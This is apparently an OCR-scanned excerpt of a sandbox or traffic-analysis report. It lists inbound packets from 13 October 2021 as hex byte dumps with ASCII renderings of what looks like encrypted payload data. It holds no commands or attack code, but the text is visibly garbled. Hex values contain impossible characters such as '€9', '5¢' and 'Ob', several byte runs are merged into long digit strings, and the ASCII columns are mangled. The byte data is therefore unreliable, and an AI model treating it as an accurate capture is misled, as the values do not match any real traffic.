Data Ascii: OW3I1Z*NpWyqL3)L7m)*ZsQy(:/9-+!2'dMmmuT q7L,KBhGhW-+fv;KzdP (HI<#vtI2#n@hORTc[84n:Ac 3fFXj{vX

2021-10-13 11:06:38 UTC 52 IN Data Raw: 6d a3 e8 a6 5d 89 b7 34 d2 3d c6 23 bf e8 Ob 95 84 b5 7f b2 f6 91 5d 92 92 4f a3 23 80 b6 39 4d 4f 00 04 57 23
93 6b fa 59 f0 04 09 60 65 c0 ab fa bc 4a 0a 84 3b d9 a5 4f b9 c1 5f 1a b0 81 c2 40 56 fa 91 fO d4 28 67 72 89 48 c4 1b 4a
e8 a3 36 f8 8b 25 7f 8e 68 33 6b da ba c4 b9 95 53 6b d7 28 22 2d de 28 80 a0 8c 70 1c ba e7 c9 36 61 c9 28 64 26 db 48
05 da bc a6 1f 0f 4b cO ff be 78 8a b8 b0 30 d5 fd 88 75 a9 1e fe 45 20 59 6f a7 e3 5¢ 44 bd d2 74 4d 89 29 eb d4 ca 97 f2
b4 f5 3c 7c 5¢c 6d a9 ae f3 92 02 d2 9b 56 68 f7 46 a3 c5 aa 6e b7 ef 34 5e 96 cf 62 de 35 bb f3 €9 6d el e4 e5 Oe d1 75
9c 54 7a 0d ae 95 b8 6 cO 68 ef 76 53 38 a5 38 59 f2 e2 1e 16 a9 91 83 9c 27 80 31 9e f2 9d f5 83 b5 8a 1f 7f f6 1e dO cb
88516 42 c3 1e 71 45 ff 92 91 e3 02 c1 ff
Data Ascii: m]4=#]O#9MOW#kY eJ;O_@V(grHI6%h3kSk("-(p6a(d&HKxXOUE Yo\DtM)<|\mVhFn4*b5muTzhvS88Y'1BgE
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kBytes
Timestamp transferred Direction Data

2021-10-13 11:06:38 UTC 54 IN Data Raw: e7 4d d2 29 d7 Oc 5f 24 3f 09 6b bb c3 dd 33 eb Oc 8e 90 17 7d 03 2e e2 aa 38 2f 80 a3 48 17 db bf 1a 65 c8 59
a8 07 fd 7a 85 6e 84 57 le f6 b2 58 02 d3 6b ed 5d a8 2d 3c 9a 5a 89 f6 ee 94 b5 ca ee 2b 27 5f 02 91 5d a9 cf f3 7d 2e
1a 95 7f 12 26 d3 87 dO be f3 b5 93 09 08 bd 90 48 b9 f8 f6 9f 40 94 b1 bc fd 32 55 39 61 14 21 a5 6a 6a 1c f3 d2 95 87 el
6d c0 e6 86 c9 cf 39 Oc 6¢ c8 f4 28 25 31 28 38 8b 87 cc 11 dd 0d 79 b3 9a fe 03 99 a6 a5 f7 08 82 91 90 39 7f 28 c7 9f 48
0352 78 13 5d 31 23 2b d6 de f4 8d ed 9b 81 ce b9 fe d1 d7 8e fe 9a d4 1c e7 cb 20 be 7f ba 25 d4 88 4d Of b3 df 6d 3b
74 d1f6 d1 5b 74 8e f4 74 a5 9f bf ca 71 e4 83 24 7c 29 d7 aa 4a 42 8f 06 47 c0 09 7f 44 2e 1d 92 9d ae 63 1d 2a 97 b9
20 06 f2 f3 de c0 ca b3 4a f6 a0 3d 78 8b al e2
Data Ascii: M)_$?k3}.8/HeYznWXK]-<Z+"_]}.&H@2U9a!jjm9l(%1(8y9(HRx]1#+ %Mm:;t[ttq$|)IJBGD.c* J=x

2021-10-13 11:06:38 UTC 55 IN Data Raw: d9 b5 f2 €5 9d 50 7e b6 16 12 01 71 d5 89 bf 32 a5 3c df ed a9 45 d6 25 53 4f 60 8f cd 8f 60 f3 7a 00 aa 25 29
3279710162 e8 70 3a5d 27 6b 8¢ f6 b7 1a 2e 54 8¢ 94 fc 7b 70 80 26 40 05 f7 59 3c 23 06 1c ca b8 44 bf c5 ce 52 02
6d b3 el 89 4c 77 f6 19 cb 2c bd 35 25 d1 78 2b 84 b3 63 90 a6 ad 5d 98 8e 27 06 20 80 b0 31 31 61 12 04 4c 1c 89 93 fO
a8 e4 14 0d 48 06 d5 8e d8 86 54 19 9c 28 cc bl 5b 88 07 5e 36 b3 64 f1 40 56 fa fO d6 c7 3a 6d 4b 43 54 c8 €3 5¢ ab 83
27 ff 96 a4 28 el d9 33 78 df a6 c2 bc 84 7e e5 cb 1f 8f 64 df 28 9b bd 94 62 8b ba fO b7 1b 73 d6 39 b2 fe f4 41 3b c9 b8
8e 3b 10 57 d9 fa d1 54 98 a7 a7 dd d2 f9 91 65 a3 03 75 50 Oe 9c 72 b4 7 33 e7 ae cd 6b c7 9a 05 f2 de af 99 69 9c 68
2c 77 4b 7d a9 5b f0 92 Oe ab 69 dd 69 fd 32 ae d3
Data Ascii: P~q2<E%SO0 " z%)2yqgbp:]'’k. T{p&@Y<#DRmLw,5%x+c]' 11aLHT([*6d@V:mKCT\'(3x~d(bs9A;;WTeuPr3kih,wK}
[ii2

2021-10-13 11:06:38 UTC 56 IN Data Raw: ec 64 04 a9 1f af 81 22 87 88 39 €0 eb 73 b1 al 98 92 94 ba 3f 90 3d d9 f4 47 d1 7c 34 92 33 cc 9c 5d e4 ec el
24 d1 28 ea 70 3b 02 b6 ab 02 93 3f 99 ce a6 9f 54 a3 a2 e4 6e bc 05 a6 69 33 96 c9 79 3a ae 22 a5 06 33 ef 75 4d 3b 46
cca3d223ca8572de 37 18 7d b9 03 6f 61 fb 07 95 96 9a 83 9a 40 2b ac 10 b9 98 79 2d 97 fd bd 10 70 e5 19 9b 00 d5
90 95 7f 93 3d ec 3f b2 52 24 ec 4b c5 5d bc 0d bf b1 58 8f e5 €9 ad €0 cd 81 05 32 c5 2c 6b 4f b8 cc 89 4d 04 5e 92 6e
09 18 45 ec f6 ba 9c 99 80 0f 26 56 82 59 d0 81 dd 9d 4a 83 a7 ba 2d 4e 53 29 71 0f 27 91 18 52 e3 Oc c9 a6 5b c9 81 36
2999 c9 d6 72 94 91 37 Oa da 3c 05 Oa 7a b0 87 c6 03 a0 29 c3 b3 90 28 1f b9 89 73 e4 Oa 4d 9b 87 1a f8 b5 f8 a4 aa fc
ad a6 06 78 19 35 2b d6 d4 22 88 9e 21 67 cc b3 f5 ec
Data Ascii: d"9s?=G|43]$(p;?Tni3y:"3uM;F#r7}oa@+y-p=?R$K]X2, kOMnE&VYJ-NS)q'R[6)r7<z)(sMx5+"!g

2021-10-13 11:06:38 UTC 57 IN Data Raw: 17 76 eb b3 3c cd e6 cd 17 86 88 c1 80 a8 a8 65 6a 82 c6 73 63 06 b3 76 c9 2c fa 48 2e 41 5b f3 58 84 9e c7
da 2d f9 a8 5b 5b a5 63 45 65 c6 31 65 de 9a c0 51 08 85 ch db e0 73 8f 8f 4a 04 87 6b 7a 8a 30 fd cc 41 db b7 4d 66 78
d7 c8 a7 eb fd 6b 58 7a al 03 1c 16 54 52 9e b8 2b 81 72 cd ed be 44 ce 0a 85 50 48 85 da aa 68 21 69 Ob 9d 5f 3a 20 7f
6c 02 75 e7 a0 39 71 2d 6¢ a9 c9 b9 94 93 70 73 d8 a7 4a 60 80 31 41 13 f2 ae 2c Ob 27 c1 48 b9 42 ae dc f3 66 10 6d a8
9c be 5¢ 89 f1 24 db 2c bf 4c 9b fb 78 29 95 bc 64 bf e7 8b 5f 92 9e 76 72 08 a0 b4 2e 24 1d 2a 06 5d 08 92 7c 8 eb f9 04
09 6a 65 db ab fa bc 4a 0a 84 3b d7 8b 7c 91 f9 55 c4 ba 82 de 64 7e cd ef cc de 3b 66 29 eb 4b c4 17 56 af a6 36 8 8b {7
75 e7 3 35 41 d0 b7 cd eb af 45 78 da 10 e0 2d 65
Data Ascii: v<ejscv,H.A[X-[[cEe1leQsIkzOAMfxkXzTR+rDPHh!i_: lu9g-IpsJ 1A,'HBfm\$,Lx)d_vr.$*]|jed;|Ud~;f)KVEUSAEX-e

2021-10-13 11:06:38 UTC 59 IN Data Raw: bd 66 bd 55 ec 9a b8 21 4d 27 2f 48 a4 a4 bc 0a 5e 18 0d 2¢ 99 f1 96 c0 al 1d 3b ee 36 18 fb 8b c5 fe 50 35 b9
c6 e9 73 8a d4 11 6f 30 b6 dd Oe 07 89 16 3d bf 3c 5b 45 b8 cd 00 8a 15 fa 23 87 f0 3e 7d 6a 94 11 90 6f 3a b5 3b fe a6 fb
7e 13 a8 8c 87 ae d6 69 67 ab a7 be 73 b1 al 8a 96 €9 7d 08 90 37 df cd 62 c2 6¢ a8 b0 11 fO 9c 5b 81 ce el 22 f1 39 el
2037 1560 31 2a 98 3b 99 c8 c9 63 2e a2 a8 bb 38 c8 14 ad 6a 23 Oc df 72 31 bf 33 24 59 fd ef 73 46 2c 9c dd 4c d2 32
€2 9c 75 d9 53 e8 6¢ ae df ea 28 d9 04 86 91 e2 5d 01 2f e8 a6 16 9b 1c a3 42 72 d5 db 1b 63 €9 67 ca 24 d4 96 8¢ 7d 84
29 85 e2 9a 7a 2af6 7c fc cl aa 05 dO 98 49 87 f2 f0 aa 8f af ee 21 34 67 3b 72 4a bd el 2e 6a 06 54 85 79 Oc 18 60 ec f6
ba e4 3e 85 0f 20 51 80 40 ae 9f ca 8a cc 19 b7
Data Ascii: fUIM'/H",;6P5s00=<[E#>}jo:;~igs}7bI['9 7"1*;c.8j#r13$YsF,L2uSI(]/Brcg$})z*|!4g;rd.jTy > Q@

2021-10-13 11:06:38 UTC 60 IN Data Raw: b5 38 e5 1a 29 2a 6d ec 8e c8 20 fc 87 87 b3 a9 8a 5e c1 8d 9f e8 ae bd 5f 3a dc 02 e8 ff e3 4a 7b ab 29 99 7d
€4 535241 76 81 d0 51 c9 d1 6f c7 18 bc e2 80 ff 98 24 b7 8e 08 ae 24 b2 41 57 f9 72 4e 7d d7 53 c1 db c8 fd 68 76 49
0c 60 c6 933ae5c2e21cf324 e9ae a2 al3b2al 7c c7 62 75 2b b5 28 c9 2a ea 6d 09 69 b8 fa 4e 7c b7 7c f5 2a eb 8¢
db fc a5 65 56 70 c9 31 ad df 9a c0 6f c7 a8 cb dd c2 38 al cf 3f 35 83 62 54 71 3b ec c2 41 65 b6 4d 66 3f a2 ca a7 eb ff
6b 40 54 d2 23 1e 10 7a 5e 92 a9 29 81 2d cc ed be 38 ef 01 ad 48 5d 8d f4 c1 73 25 6f 62 9f 00 3a 26 7e 71 1b 12 d9 8f
3b 7b f5 2f f2 ¢5 bb 94 9f 75 54 9a dd 40 35 82 37 54 75 cb a5 3d 09 le 2d 5a be 2b 9b d8 db 47 01 64 b3 f6 be 5c 88 {7
33 bd 1b b5 23 b9 €8 71 07 ¢7 b1 75 be e7 87 5f 92
Data Ascii: 8)*m *_:J{)}SRAVQ0$$SAWIN}ShvI :$|bu+(*miN|[*eVp1lo8?5bTq;AeMf?k@T#z")-8H]s%o0b:&~0;{/uT@57Tu=-
Z+Gd\3#qu_

2021-10-13 11:06:38 UTC 61 IN Data Raw: c5 5d a6 €8 23 49 b3 02 65 b1 17 d6 41 ee 7c e6 97 98 28 d3 6e 89 4d 65 2d f6 99 36 47 b8 98 c5 70 55 3e 9f
2431 f5 eb 36 fc 77 84 a0 a7 19 3 13 96 el 95 95 33 a4 80 04 77 f6 f8 dO cb 84 74 07 51 d2 Of b6 5c ff 88 ef d6 12 4f 4e
21 be 43 a0 3b 9a be 36 91 27 2e 48 a6 9d 30 34 d5 ec ed c3 6f 0d b2 €8 9c Oc 3d 3e 32 cd 97 1e d4 f9 72 a4 91 fe e3 6¢
90 22 fa 68 1a b5 21 11 3e 95 f8 2e ba 34 4a 40 90 e2 01 8a 1f ab 7c 87 f0 9d 54 59 95 04 9a 63 2b a9 2c 28 b4 fd 6f 15
b9 d7 b9 90 29 11 99 a3 8f fb 72 b1 ab 95 48 fb 55 25 90 37 d4 6 7c c3 6¢ 59 ba 39 ¢8 18 5b 8b 01 f7 37 dd 01 2b 61 2b
15 60 20 2c 81 c5 98 e4 cf 61 47 a7 b2 a8 44 c9 05 ab 63 dd 0d f3 64 20 bb 5d f6 69 fa e5 66 42 30 8f a5 4c ¢3 25 dd 68
76 €3 30 18 69 a7 ba 14 76 ea 06 88 98 9e 53 00 3e e4
Data Ascii: #leA|(nMe-6GpU>$16w3wtQ\ON!C;6'.H040=>2rl"h!>.4J@|TYc+,(0)rHU%7|IY9[7+a+" ,aGDcd ]ifBOL%hvOivS>

2021-10-13 11:06:38 UTC 63 IN Data Raw: cf 55 fe 90 Oa 82 fO e6 3a b4 ed ba 64 €0 14 5¢ 0a ad c0 1c f1 65 d6 e9 92 7a d7 8e 54 75 39 8e ae d5 7b c4 3a
24 7c 29 4b bb 4d 5d 82 26 al c0 ca 7e d8 3f d3 8¢ 91 b1 25 81 3b 90 bc 2d 19 89 74 ff c2 d5 d5 6b 63 a0 48 78 17 al 96
4f 36 fa 6¢ 9d a7 6a f3 94 cd ba e4 a8 0f al bf 10 67 €8 90 8d f8 1a 49 59 25 c5 3c e8 ee e4 5f 7c b9 b3 a0 8a d8 46 42 5
49 84 cf 41 c1 cb 6e c7 12 08 6f 87 e0 85 21 2c 99 27 26 3f a4 db 6e d0 6f 57 5b 7f b6 cO db 5e c4 f3 69 53 10 ef d2 85 23
d6 fa 7c 0d f2 2d dd 96 3e b2 bf a8 9f €6 f3 72 03 9b b6 d8 2b e3 5b 07 e9 b8 f0 58 1e a7 24 c6 32 €9 1c 17 5c ba 45 76
9e cf 19 83 41 8b c1 66 ce 90 57 cc cf 31 ad 99 d0 06 86 7d 71 74 af ec cd 76 16 94 cd 60 50 8a 54 b6 ea f1 46 47 ce ac
00 03 36 5c¢ cf 9a b8 2d 35 3e ca f2 9f 41 55 12
Data Ascii: U:d\ezTu9{:$|)KM]&~?%;-tkcHxO6ljglY%<_|FBIANo!,'&?noW[ iS#|->r+[X$2\EVAIW1}qtv PTFG6\-5>AU

2021-10-13 11:06:38 UTC 64 IN Data Raw: 30 ef 92 9d 7d 8¢ 81 ba b3 0a 67 a6 92 4d ff d2 ea 12 d2 a0 f0 07 Of 4b cO cO 88 41 8a be d5 93 d2 d5 91 d6 bs
0d 3 4b 1b 92 7a b4 f5 Ob 28 be d2 7e 28 8a 38 fb 55 a8 86 ca 78 fd 2f 77 44 04 30 74 f0 98 17 ae 3f 44 7a ¢5 83 b3 ¢5
aa 64 b7 f9 37 c2 ad 17 68 cf 37 bb f1 €9 6d el 83 f2 7d b0 6f 8f 56 7b 03 ae 98 e 1b d3 b2 c1 1f el 39 8e 23 4a 1d eb 20
08 a8 80 80 a7 75 f7 13 9a 9d 29 e7 89 ae 94 f0 7b c8 3e d1 da 8b 82 62 44 c3 1e Of fd ef 99 f4 d3 fe cO ef €0 67 dd 4e cl
a3 e5 25 47 32 47 eb al 8¢ 2a le a0 13 04 c2 b0 78 86 ¢5 83 52 39 34 27 ad 56 a5 d4 f3 6¢ 57 b8 d0 1d 6d fa a3 cl 78 32
bc Ob 62 1c d6 cc 28 a9 3e 50 cd 85 27 01 8b Oc 6¢ 6d 9d €6 17 Oe 5d 95 17 38 72 31 a4 04 74 b1 fd 69 b7 a8 9f al b8 74
92 98 a5 2d 33 69 a8 83 de 4c fb 53 9d 81 2d c6
Data Ascii: 0}gMKAKz(~(8Ux/wDO0t?Dzd7h7m}oV{9#J u){>bDgN%G2G*xR94'VIWmx2b(>P'Im]8ritit-3iLS-

2021-10-13 11:06:38 UTC 65 IN Data Raw: 23 4c 4b 72 13 77 17 be 18 12 77 Of ed cb a5 67 06 83 3b 29 9a d1 d4 46 ad 44 al f1 04 2f 08 06 4d b0 8d 6e

01 b8 4d af a0 9a 33 18 80 af 42 05 08 1d 2e 97 01 c6 89 eb ee bf 72 1a b7 02 f6 ae 03 f1 c5 cb f4 86 b5 3e 90 ca a2 9 f1
fe 85 64 b8 60 1a el e7 0f b0 7f ba 6e 42 99 46 1a 65 cc 66 7c 78 c6 20 88 56 65 82 45 6a 94 44 da 25 70 e4 89 37 75 38
d3 b9 6b 54 9a 26 7f 72 cf 7e 44 3f f5 82 bd 34 65 08 3b 82 ba 37 1f 80 18 ef c5 c0 c8 5a €7 b1 5¢ 50 0a b2 91 56 2f 68 17
01 b6 6¢ f8 90 cf Oe 56 af 10 ba 81 d6 76 ef 85 13 d1 86 58 5f 29 c4 3b 66 e8 6f 7f 68 af 2e 99 39 c¢7 53 5e 41 02 83 d0 5d
f6 e2 e3 ec 12 94 7f 93 f1 84 24 bd 9e 33 2a 0f 9c 45 7f d1 63 41 6d ec a2 b3 f9 c0 d5 f2 65 59 17 62 d7 aa 57 c9 ec e6 05
78 35 ¢1 80 a3 b0 9a a6 a0 dO 62 7c 2b 8a 2a

Data Ascii: #LKrwwg;)FD/MnM3B.r>d nBFef[x VeEjD%p7u8kT&r~D?4e;7Z\PV/hIVvX_);foh.9S"A]$3*EcAmeYbWx5b|+*
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kBytes
Timestamp transferred Direction Data

2021-10-13 11:06:38 UTC 66 IN Data Raw: 38 80 87 aa 59 31 64 a0 bf 96 7b aa 44 29 88 el c6 f2 67 89 7d be a9 1e d9 bb 4a ac 7f c6 26 db 3f fO 6f 3c 98
67 31 2a 99 28 bb d9 eb 75 45 b4 24 84 42 c9 15 0f 69 01 18 {7 c5 31 bf 38 17 33 fa ef 7f 6f c6 9d a3 46 fa f7 c1 96 7d e7
18 09 6d a4 ba dd 75 ea 0a 95 91 9a 83 13 38 f3 a2 07 3e 87 a3 42 79 ee 9b Ob 45 f5 7b ae 8e ea 96 86 6f 20 29 a5 e2 9a
ff 2e 6 70 f4 6¢ 21 3a d0 99 5b 99 cb 4e be f1 c1 c2 Oe 21 cb 3d f7 59 a9 c9 e7 78 25 4f b7 69 09 27 c5 d7 f6 bc f2 11 93
2c 34 78 3e 48 bf 9d c3 e2 cc ad b7 ad fa 4b 6b ca 60 1e 3a 95 59 52 e3 Oc cf bc 5f Oe 85 2c 2e a8 5d c¢7 4c 37 7d c7 dd
4a 2d 20 24 22 a9 86 cc 1a 9f 4b 68 bc b8 72 16 91 b7 1c fd 01 93 93 b8 4 f1 9f f8 f4 a0 e3 a4 70 15 60 08 00 3d e5 85 f6
9c 86 7 92 d6 98 bc e8 ff 9d d9 81 2d 0f c6
Data Ascii: 8Y1d{D)g}J&?0<g1*(UE$Bi1830F}mu8>ByE{0 ).pl!:[N!=Yx%Oi', 4x>HKk:YR_,.]L7}J- $"Khrp'=-

2021-10-13 11:06:38 UTC 67 IN Data Raw: 57 34 e2 33 c1 8a b6 af a9 bb 8e d2 60 7e 0a 15 9d c1 a2 4b 75 e3 60 36 47 4f 58 al f5 54 12 ff 80 07 48 a0 72
5f ef 78 Oe 59 ce 8b d5 74 c4 9e da d8 d9 23 98 55 45 06 8¢ f6 5a 73 3e ea 10 fd 53 2a 5¢ 6d 47 5c db aa fc e3 72 40 63 5f
16 19 9e cb 58 40 af fb 24 10 cd ed b9 44 cf 15 bc 4b c2 32 c4 58 64 37 7a 03 9e 50 2b 25 68 6e 87 6¢ cb 9f 35 €5 f1 6¢ ae
ff a8 92 88 68 4c 8e 5 66 f6 a0 8 52 1a 3 71 2c Ob 1e 2a df 63 da 94 ca ca 47 01 63 b3 6 87 50 1d e6 31 ¢3 33 23 f9 21
ff 69 29 95 bb e1 90 62 ac 5d 98 b0 b3 7a 20 8a 98 0a 22 72 0a Oe 4c 00 83 bb e2 8a fe Ob 18 72 8a 7c 50 dd ae 62 3d 8e
28 d7 b0 4b b9 c1 5f 1a b0 82 cb 47 7c fa ae d0 d4 28 6d 5a 51 4b c2 1d 5d 87 8e 34 8 81 3f 75 el d9 3d 6b d0 b7 d7 aa
9b 44 63 ea 13 0 01 de 28 91 b4 9d 7d 97 ab
Data Ascii: W43'~Ku'6GOXTHr_xYt#UEZs>S*\mG\r@c_X@$DK2Xd7zP+%hnl5IhLfRq,*cGcP13#!i)b]z "rLr|Pb=(K_G|(
mZQK]4?u=kDc(}

2021-10-13 11:06:38 UTC 68 IN Data Raw: 21 4d 27 2c 2a 86 8d 20 00 4d 1b 03 35 a6 77 be c1 ab 06 2c 3d 36 ad ce a5 d4 f3 67 bl 34 ed e3 6¢ 9b ef f2
70 bd 97 Ob 11 3f ¢7 c9 27 ab 3e 43 ce 27 0f 21 8b 1f 7c 6d 83 e6 2e 5f 50 1b a6 84 4b 3c b2 2¢ 22 a4 f9 71 04 bc 93 a7
b8 3e 97 98 a9 9e 2b 62 bb c4 a7 49 fb 5f 2e 99 26 d0 8a 64 c1 6¢c a4 ab 30 a7 b7 5a 8b 1a ea 23 d8 2f e2 ef 9c 7a 4c 30
2a92 28 9e e0 da 62 54 a9 b9 bc 2d d1 15 ad 72 2f 04 d5 b6 24 9a 1a 08 69 fa e5 66 4¢c 04 b2 al 4c d4 29 e8 ae 77 cf 36
d7 6d a8 ff f5 77 ab 10 84 86 8d 55 00 2f e2 ac 10 b3 b7 a2 42 78 ca bc 1a 63 f6 6a b9 02 cf 96 86 6f 99 08 85 6 d3 52 2e
f6 ea eb 4c bc 76 b1 98 5a 85 ee f1 d3 04 ca ee 2b 23 ¢3 28 52 38 a8 c9 ec 78 03 4f 92 6e 1d 26 58 ed 78 Ob 9c 45 83 0Of
2a 5b 94 5f 65 80 0a 10 1f 92 b7 ac f7 4c 45 29 64 08
Data Ascii: IM',* M5w,=6g4Ip?'>C'l|m._PK<,"g>+bl_.&dI0Z#/zL0*(bT-r/$ifLL)w6mwU/BxcjoR.LvZ+#(R8xOn&XXE*[_eLE)d

2021-10-13 11:06:38 UTC 70 IN Data Raw: e6 88 d3 Oe 88 ab 10 b6 81 f2 72 ef 89 b7 79 85 58 58 49 2a 2b 74 5 8¢ bd 69 af 25 b9 a5 b8 57 54 6f 70 03 d4
57 e7 1c 9 c4 12 92 0d 7c fe 92 3d df 75 21 39 2d ba 6f 02 d3 70 48 53 7e b2 c0 dd ea 42 f7 76 4f 75 8f c2 82 36 a2 11 el
1c ff 3a e9 ff a6 a3 be 9f 00 c2 73 74 2b Oc 29 c9 2a 8f b9 26 69 b2 9f a5 83 b6 29 d1 05 7c 84 06 5d 8d el 52 61 c9 31 14
de 9a c0 0a 13 87 cb d7 a7 d3 8e 8f 46 1f a9 el 56 62 35 d5 4e 6d 32 b2 65 e5 54 8a ce d4 11 ef 63 5b 3d 40 06 1c 1a 74
67 1c bc 2d af 07 49 e9 b8 51 el 84 a9 4e 4a 6 20 83 77 2f 06 fO b4 02 30 28 51 8 17 7d c9 a6 b2 75 2b 7c a9 70 ba 94
9f 15 al 8a d4 62 0d 7d 36 52 10 f5 af 52 f1 Oe 24 41 ae 9e ac c8 c8 45 28 4a a3 f3 96 20 76 f6 35 d8 35 a6 27 d0 f9 7a 2f
8e ce 74 ba 88 a7 3222 99 67 71 33 87 al 29
Data Ascii: ryXXI*+ti%WTopW|=u!9-opHS~BvOu6:st+)*&i)|[|JRalFVb5Nm2eTc[=@tg-IQNJ w/O(Q}u+|pb}6RRSAE(J v
55'z/t2"gq3)

2021-10-13 11:06:38 UTC 71 IN Data Raw: 13 61 df 23 d4 41 e8 6d de 91 39 0d d3 62 95 5c 68 04 ac ad 30 41 fb b0 c7 70 c5 38 8e 38 48 f0 €2 Oe e4 ab
91 85 8f 3f fb Oc 8f Oc 9a ca 83 d7 84 Oc 7a d4 cc cf df 9d a2 3e 51 cb 06 9e 4e c2 93 ef cO 1b de b7 82 79 b4 4c cc 8b a9
2958 3a d6 58 8¢ 8b 36 19 58 0d 1d 2f b9 18 86 c8 b4 00 c3 35 0d dO e6 2a 63 ee a2 be 6f 4b c8 6¢ 9a fd eb 6b 2f b1 18
19 3e c5 ¢4 39 44 35 66 43 88 34 09 8a Oe 7e 63 8d Oe 3e 79 50 84 16 87 7e b7 ac 27 3b bd fd 7e 1d a6 97 47 91 05 91
89 a7 82 3d 60 a2 a3 80 59 f3 4a 36 6e 36 f9 ef 5d c7 70 b1 e2 a5 d7 96 48 83 10 fO 2c c¢3 c7 e0 4d 20 Ob ed 1a 2a 98 3a
8acfd0 70 5c a3 b9 b3 58 37 1581 71 32 Ob ¢8 77 63 23 29 2c 61 fa fe 7d 58 21 62 a2 60 de 3d 4d bd 77 cf 3d 1a 69 b1l
db e6 7f ea 1d 8c 99 82 ab 01 03 ba bd 14 a2 86 aa 53 7e
Data Ascii: a#Am9b\h0Ap88H?z>QNyL)X:X6X/5*coKIk/>9D5fC4~c>yP~';~G="YJ6n6]pH,M *:p\X7q2wc#),a}X!b’ =Mw=iS~

2021-10-13 11:06:38 UTC 72 IN Data Raw: el 31 85 7b d5 ec el 88 4b 1a 69 cc 62 7e 71 e9 ba 9a 5a 74 9f 50 64 a0 89 c6 43 70 e4 85 37 7a 01 90 ab 4a
4898 02 56 ¢5 dd 11 cd 2f d4 95 f2 36 76 1d 20 84 a4 28 2e ed eb ee c3 db dd 63 d1 a0 48 72 a3 9f 91 50 33 dc ec 01 b6
6d fd 83 f3 21 f5 af 3b a3 al 9d 7e d6 63 9f ee 86 49 56 2e fe b2 70 ff €5 56 e5 a8 2f b1 8c d3 47 40 41 fb 83 d0 5d f5 1c
b4 c4 12 92 68 0d 8 92 37 b1 9c 34 2d Of 11 47 7f dd 58 d2 7b ff bc d1 df ea db f5 76 4f 15 7a d2 8a 28 e5 74 e4 1c f3 24
4c 87 a2 a3 b9 a3 96 d2 5b d1 03 9b 20 dd 04 26 46 27 6f ae 7d 5f 82 b6 22 cd 39 eb a8 a5 5b a5 6f 7e fd cf 19 89 ce 91
d7 71 fb ae 53 d9 c8 28 99 02 4b 17 81 63 46 76 27 d5 69 69 32 be 59 48 86 89 c8 al fb 63 64 51 52 bc 13 08 04 54 ec 9a
b8 27 81 b3 cd ed b2 7f 50 07 ad 48 64 8a dd 82 71
Data Ascii: 1{Kib~qZtPdCp7zJHV/6v (.cHrP3m!;~clV.pV/IG@A]h74-GX{vOz(t$L[ &F'0}_"9[0~qS(KcFV'ii2YHcdQRT'PHdq

2021-10-13 11:06:38 UTC 73 IN Data Raw: f7 a8 32 fd d8 2c 53 e9 f8 9d 03 ch b9 12 2a 01 54 dd c8 2a 45 8a b8 26 32 dd ca 83 54 72 14 ef 43 94 92 62 b8
fc 2¢ 92 20 ¢3 70 26 81 09 4d cf a5 8f 6f a5 f1 30 6¢ 52 20 1d 64 fe 8d 18 9d fa 57 68 fd ae a0 cb b5 68 bb b2 b9 49 b0 Oc
7f c5 af ¢5 4f 7 72 f4 ¢3 6b 1f df 63 90 4c e5 2e bf 9d 37 52 d9 a3 c9 66 73 a0 8e 29 5e 7f fb 38 el b6 9e 19 9e 20 eb Oc f4
6e 8a €8 90 84 4e Oe 7a de 5¢ c1 ¢5 94 b5 49 dc d2 16 7b 50 ad 05 ef c9 1c de b5 82 77 b3 42 db cc 24 30 49 2a 08 a0 a0
8c 20 96 4f 1c 0d 35 91 f1 97 cO ab 90 2c 3a 3e c8 fb aa 48 e8 76 b6 b2 e6 61 6¢ 9a fc 64 7f 3e a3 07 31 ca d4 cc 2e 26
25 44 5f 9d 38 6a 16 Oe 78 63 89 ef 73 ¢9 48 9b Oe 95 43 c0 b3 2c 28 29 ec 61 06 bc 82 ca 1d 28 96 9e b0 8b fc 67 94 83
b7 48 fb 5f 2c 96 31 d9 cd 74 cO 6¢ a4 67 fe
Data Ascii: 2,S*T*E&2TrCh, p&MoOIR dWhhIOrkcL.7Rfs)*8 nNZ\{PwB$0I* 05,:>Hvald>1.&%D_8jxcsHC,()a(gH_, 1tlg

2021-10-13 11:06:38 UTC 75 IN Data Raw: 39 b3 fb ac 30 f1 f3 ad 67 9c¢ 95 15 38 90 c3 f5 45 37 9d c9 f5 04 89 20 22 5¢ ¢3 3d cc 10 b8 51 66 af b8 99 12
91 bb 79 e2 28 32 9d 81 36 d9 21 8 e5 bc 8f bb a4 06 72 14 1d 44 c1 d6 e7 80 b3 2d a9 6¢ b7 f5 ff ¢7 96 fc 90 00 19 cb
€8 0f 37 7b ba 62 8f 91 4f 0d b9 cc 61 7b 67 da ce 07 5b 74 8e 45 79 b4 94 33 d9 75 5 87 4b 66 2b d7 a0 59 4c 9f 15 4a
8 b9 7f 44 2e c5 9d 8c a3 ec Oe 2c 86 a5 4f 8a f2 e8 e4 ed 6e df 4b f0 88 f6 78 8b ba 82 55 28 0 38 30 b6 6d €6 bd 9c 27
5 af 63 67 a8 8¢ 7c fc 88 8e e9 92 70 22 38 d6 2c 63 72 e4 40 68 ae 3c be 9c c8 45 45 6¢ fa 92 df 44 f1 25 7e d3 06 83 {3
af ff 92 36 a3 99 31 28 31 a5 db 6e ¢6 67 66 dc ff b6 ca fd d3 c4 e2 e6 65 19 62 d3 94 a6 e5 fd 0 1c ff e2 d4 80 a2 a2 90
a3 82 c6 79 5a 37 9a 2a c3 58 €9 45 27 68 ab
Data Ascii: 90g8E7 "\=Qfy(26!rD-7{bOa{g[tEy3uKf+YLJID.,OnKxU(80m'cg|p"8,cr@h<EEID%~61(1ngfebyZ7*XE'h

2021-10-13 11:06:38 UTC 76 IN Data Raw: 22 72 0a 06 49 18 bc ff f0 84 e5 6a 11 61 bb de 84 Oc 87 62 3d 8e 28 d7 8b 7c 91 f9 55 c4 ba 5a el 41 57 ea ef
cc d4 28 6d 5a 44 5e c4 11 47 87 9e 37 €6 83 01 6b €3 d9 38 41 ¢3 87 ce aa 30 47 78 da b3 e0 2d cf 3e 9¢ 96 00 7f 86 a9
€2 be 15 74 37 23 60 f7 e0 dd 01 cb b9 91 2d 02 4b c3 {7 c2 bb 8b 94 af 27 fb ef 9e 74 af 02 c7 6d 08 83 66 bl a5 e4 f6 bc
d2 61 2d 96 29 e2 d0 ae 71 f2 98 f1 ff 6d 4d 6b 83 5d e4 92 04 b7 25 48 64 f0 32 b8 da b2 8b a5 c4 2d 60 ec 11 61 de 2c
cd 4c e8 64 f0 6e 6 22 c5 69 a7 69 6d 05 b9 8b 1e 6f d7 b2 cd 66 13 89 8e 29 5e ff 7 36 ff b6 9b 7b 8e 02 €6 17 b4 c5 e
